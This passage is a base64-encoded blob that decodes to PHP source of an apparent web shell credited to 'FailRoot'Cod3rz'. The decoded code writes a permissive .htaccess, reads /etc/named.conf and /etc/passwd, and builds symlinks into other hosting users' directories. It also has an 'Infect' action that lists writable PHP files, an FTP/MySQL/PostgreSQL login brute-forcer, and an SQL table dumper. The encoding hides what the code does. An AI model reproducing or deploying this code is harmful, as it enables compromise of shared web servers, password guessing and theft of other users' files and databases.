BcbiBBZGRUeXBlIHR4dCAucGhwIFxuIEFkZEhhbmRsZXIgdHh0IC5waHAgXG4gIEFkZFR5cGUgdHh0IC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIE9wdGlvbnMgYWxsIFxuIE9wdGlvbnMgXG4gQWxsb3cgZnJvbSBhbGwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsKJGYgPSBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7CiBmd3JpdGUoJGYgLCAkYyk7CiAKJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7CgppZighJGQwbWFpbnMpeyBkaWUoIjxiPiNFcnJvci4uLiAtPiBbIC9ldGMvbmFtZWQuY29uZiBdIik7IH0KCmVjaG8gIjx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTE+Cjx0ciBiZ2NvbG9yPXRlYWw+PHRkPkRvbWFpbjwvdGQ+PHRkPlVzZXIgTGlzdCA8L3RkPjx0ZD5TeW1saW5rPC90ZD48L3RyPiI7Cgpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pewoKaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXsKCnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOwpmbHVzaCgpOwoKaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpewoKJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbnNbMV1bMF0pKTsKCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+Ii4kZG9tYWluc1sxXVswXS4iPC9hPjwvdGQ+PHRkPiIuJHVzZXJbJ25hbWUnXS4iPC90ZD48dGQ+PGEgaHJlZj0nc3ltL3gudHh0L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwnPk1pcmVtb3M8L2E+PC90ZD48L3RyPiI7IGZsdXNoKCk7Cgp9fX0KCmVjaG8gIjwvdGFibGU+IAo8cCBhbGlnbj0nY2VudGVyJz4gCkZhaWxSb290J0NvZDNyeiA8YSBocmVmPSdodHRwOi8vZmFpbHJvb3Qud29yZHByZXNzLmNvbS8nPkZhaWxSb290LVNlYy5Db208L2E+IHwgPGEgIAoKaHJlZj0naHR0cDovL3dXdy5zRWM0RXZFci5Db00vJz53V3cuc0VjNEV2RXIuQ29NPC9hPjxicj4gCjwvcD4gCiI7IAoJcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uSW5mZWN0KCkgewoJcHJpbnRIZWFkZXIoKTsKCWVjaG8gJzxoMT5JbmZlY3Q8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJaWYoJF9QT1NUWydwMSddID09ICdpbmZlY3QnKSB7CgkJJHRhcmdldD0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOwoJCQlmdW5jdGlvbiBMaXN0RmlsZXMoJGRpcikgewoJCQkJaWYoJGRoID0gb3BlbmRpcigkZGlyKSkgewoJCQkJCSRmaWxlcyA9IEFycmF5KCk7CgkJCQkJJGlubmVyX2ZpbGVzID0gQXJyYXkoKTsKCQkJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewoJCQkJCQlpZigkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikgewoJCQkJCQkJaWYoaXNfZGlyKCRkaXIgLiAiLyIgLiAkZmlsZSkpIHsKCQkJCQkJCQkkaW5uZXJfZmlsZXMgPSBMaXN0RmlsZXMoJGRpciAuICIvIiAuICRmaWxlKTsKCQkJCQkJCQlpZihpc19hcnJheSgkaW5uZXJfZmlsZXMpKSAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZmlsZXMsICRpbm5lcl9maWxlcyk7IAoJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQlhcnJheV9wdXNoKCRmaWxlcywgJGRpciAuICIvIiAuICRmaWxlKTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0KCQkJCQljbG9zZWRpcigkZGgpOwoJCQkJCXJldHVybiAkZmlsZXM7CgkJCQl9CgkJCX0KCQkJZm9yZWFjaCAoTGlzdEZpbGVzKCR0YXJnZXQpIGFzICRrZXk9PiRmaWxlKXsKCQkJCSRuRmlsZSA9IHN1YnN0cigkZmlsZSwgLTQsIDQpOwoJCQkJaWYoJG5GaWxlID09ICIucGhwIiApewoJCQkJCWlmKCgkZmlsZTw+JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4kX1NFUlZFUlsnUEhQX1NFTEYnXSkmJihpc193cml0ZWFibGUoJGZpbGUpKSl7CgkJCQkJCWVjaG8gIiRmaWxlPGJyPiI7CgkJCQkJCSRpKys7CgkJCQkJfQoJCQkJfQoJCQl9CgkJCWVjaG8gIjxmb250IGNvbG9yPXJlZCBzaXplPTE0PiRpPC9mb250PiI7CgkJfWVsc2V7CgkJCWVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1JbmZlY3QgbmFtZT1pbmZldD48L2Zvcm0+IjsKCQkJZWNobyAnUmVhbGx5IHdhbnQgdG8gaW5mZWN0IHRoZSBzZXJ2ZXI/Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnaW5mZWN0XCcpIj5ZZXM8L2E+PC9kaXY+JzsKCQl9CglwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgewoJcHJpbnRIZWFkZXIoKTsKCWlmKCBpc3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgewoJCWVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsKCQlpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgewoJCQlmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKCQkJCSRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsKCQkJCWlmKCEkZnApIHJldHVybiBmYWxzZTsKCQkJCSRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7CgkJCQlAZnRwX2Nsb3NlKCRmcCk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQoJCX0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ215c3FsJyApIHsKCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7CgkJCQkkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4kcG9ydD8kcG9ydDozMzA2LCAkbG9naW4sICRwYXNzKTsKCQkJCUBteXNxbF9jbG9zZSgkcmVzKTsKCQkJCXJldHVybiAkcmVzOwoJCQl9CgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgewoJCQlmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKCQkJCSRzdHIgPSAiaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJyB1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4iJyBkYm5hbWU9JyciOwoJCQkJJHJlcyA9IEBwZ19jb25uZWN0KCRzZXJ2ZXJbMF0uJzonLiRzZXJ2ZXJbMV0/JHNlcnZlclsxXTo1NDMyLCAkbG9naW4sICRwYXNzKTsKCQkJCUBwZ19jbG9zZSgkcmVzKTsKCQkJCXJldHVybiAkcmVzOwoJCQl9CgkJfQoJCSRzdWNjZXNzID0gMDsKCQkkYXR0ZW1wdHMgPSAwOwoJCSRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7CgkJaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgewoJCQkkdGVtcCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkKCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsKCQkJCQkkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7CgkJCQkJKyskYXR0ZW1wdHM7CgkJCQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7CgkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7CgkJCQkJfQoJCQkJCWlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgewoJCQkJCQkkdG1wID0gIiI7CgkJCQkJCWZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQoJCQkJCQkJJHRtcCAuPSAkbGluZVswXVskaV07CgkJCQkJCSsrJGF0dGVtcHRzOwoJCQkJCQlpZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgewoJCQkJCQkJJHN1Y2Nlc3MrKzsKCQkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCX0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsKCQkJJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7CgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQoJCQkJZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgewoJCQkJCSRsaW5lID0gdHJpbSgkbGluZSk7CgkJCQkJKyskYXR0ZW1wdHM7CgkJCQkJaWYoIGJydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7CgkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOwoJCQkJCX0KCQkJCX0KCQl9CgkJZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7Cgl9CgllY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+JwoJCS4nPHRkPjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+JwoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+JwoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYSddKS4nIj4nCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjaGFyc2V0J10pLiciPicKCQkuJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+JwoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPicKCQkuJzx0cj48dGQ+PHNwYW4+QnJ1dGUgdHlwZTwvc3Bhbj48L3RkPicKCQkuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicKCQkuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1yZXZlcnNlIHZhbHVlPTEgY2hlY2tlZD4gcmV2ZXJzZSAobG9naW4gLT4gbmlnb2wpPC9sYWJlbD48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwvbGFiZWw+PC90ZD48L3RyPicKCQkuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicKCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9InJvb3QiPjwvdGQ+PC90cj4nCgkJLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3QgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidwYXNzd2QuZGljIj48L3RkPjwvdHI+PC90YWJsZT4nCgkJLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsKCWVjaG8gJzwvZGl2Pjxicj4nOwoJcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uU3FsKCkgewoJY2xhc3MgRGJDbGFzcyB7CgkJdmFyICR0eXBlOwoJCXZhciAkbGluazsKCQl2YXIgJHJlczsKCQlmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKQl7CgkJCSR0aGlzLT50eXBlID0gJHR5cGU7CgkJfQoJCWZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCWlmKCAkdGhpcy0+bGluayA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7CgkJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOwoJCQkJCWlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsKCQkJCQlpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsKCQkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIHNlbGVjdGRiKCRkYikgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOwoJCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gcXVlcnkoJHN0cikgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpIHsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsKCQkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsKCQkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIGZldGNoKCkgewoJCQkkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOwoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBsaXN0RGJzKCkgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9saXN0X2RicygkdGhpcy0+bGluayk7CgkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSIpOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBsaXN0VGFibGVzKCkgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgKHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJykgb3IgdGFibGVfbmFtZSA9ICdwZ191c2VyJyIpOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBlcnJvcigpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJcmV0dXJuIEBteXNxbF9lcnJvcigkdGhpcy0+bGluayk7CgkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gQHBnX2xhc3RfZXJyb3IoJHRoaXMtPmxpbmspOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQoJCQkJCQlyZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsKCQkJCQllbHNlCgkJCQkJCSR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsKCQkJCQlicmVhazsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOwoJCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gZHVtcCgkdGFibGUpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJJHJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7CgkJCQkJJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOwoJCQkJCWVjaG8gJGNyZWF0ZVsxXS4iO1xuXG4iOwoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsKCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7CgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsKCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsKCQkJCQkJCSRpdGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7CgkJCQkJCQkkY29sdW1uc1tdID0gImAiLiRrLiJgIjsKCQkJCQkJfQoJCQkJCWVjaG8gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOwoJCQkJCX0KCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7CgkJCQkJd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgewoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7CgkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7CgkJCQkJCQkkaXRlbVska10gPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOwoJCQkJCQkJJGNvbHVtbnNbXSA9ICRrOwoJCQkJCQl9CgkJCQkJZWNobyAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOwoJCQkJCX0KCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9OwoJJGRiID0gbmV3IERiQ2xhc3MoJF9QT1NUWyd0eXBlJ10pOwoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewoJCW9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKCQkkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7CgkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOwoJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsKCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOwoJCWZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikKCQkJCSRkYi0+ZHVtcCgkdik7CgkJZXhpdDsKCX0KCXByaW50SGVhZGVyKCk7Cgk/PgoJPGgxPlNxbCBicm93c2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+Cgk8Zm9ybSBuYW1lPSJzZiIgbWV0aG9kPSJwb3N0Ij4KCQk8dGFibGUgY2VsbHBhZGRpbmc9IjIiIGNlbGxzcGFjaW5nPSIwIj4KCQkJPHRyPgoJCQkJPHRkPlR5cGU8L3RkPgoJCQkJPHRkPkhvc3Q8L3RkPgoJCQkJPHRkPkxvZ2luPC90ZD4KCQkJCTx0ZD5QYXNzd29yZDwvdGQ+CgkJCQk8dGQ+RGF0YWJhc2U8L3RkPgoJCQkJPHRkPjwvdGQ+CgkJCTwvdHI+CgkJCTx0cj4KCQkJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPgoJCQkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3F1ZXJ5Jz4KCQkJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPgoJCQkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nPD89aHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pOz8+Jz4KCQkJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJz8+Jz4KCQkJCTx0ZD4KCQkJCQk8c2VsZWN0IG5hbWU9J3R5cGUnPgoJCQkJCQk8b3B0aW9uIHZhbHVlPSJteXNxbCIgPD9waHAgaWYoQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKWVjaG8gJ3NlbGVjdGVkJzs/Pj5NeVNxbDwvb3B0aW9uPgoJCQkJCQk8b3B0aW9uIHZhbHVlPSJwZ3NxbCIgPD9waHAgaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3NlbGVjdGVkJzs/Pj5Qb3N0Z3JlU3FsPC9vcHRpb24+CgkJCQkJPC9zZWxlY3Q+PC90ZD4KCQkJCTx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2hvc3QgdmFsdWU9Jzw/PShlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSk7Pz4nPjwvdGQ+CgkJCQk8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT0nPD89KGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKTs/Pic+PC90ZD4KCQkJCTx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX3Bhc3MgdmFsdWU9Jzw/PShlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSk7Pz4nPjwvdGQ+CgkJCQk8dGQ+Cgk8P3BocAoJJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9Jyc+IjsKCWlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpewoJCWlmKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkgewoJCQlzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsKCQkJCWNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOwoJCQkJY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7CgkJCQljYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOwoJCQkJY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsKCQkJCWNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsKCQkJfQoJCQkkZGItPmxpc3REYnMoKTsKCQkJZWNobyAiPHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsKCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsKCQkJCWxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwoJCQkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1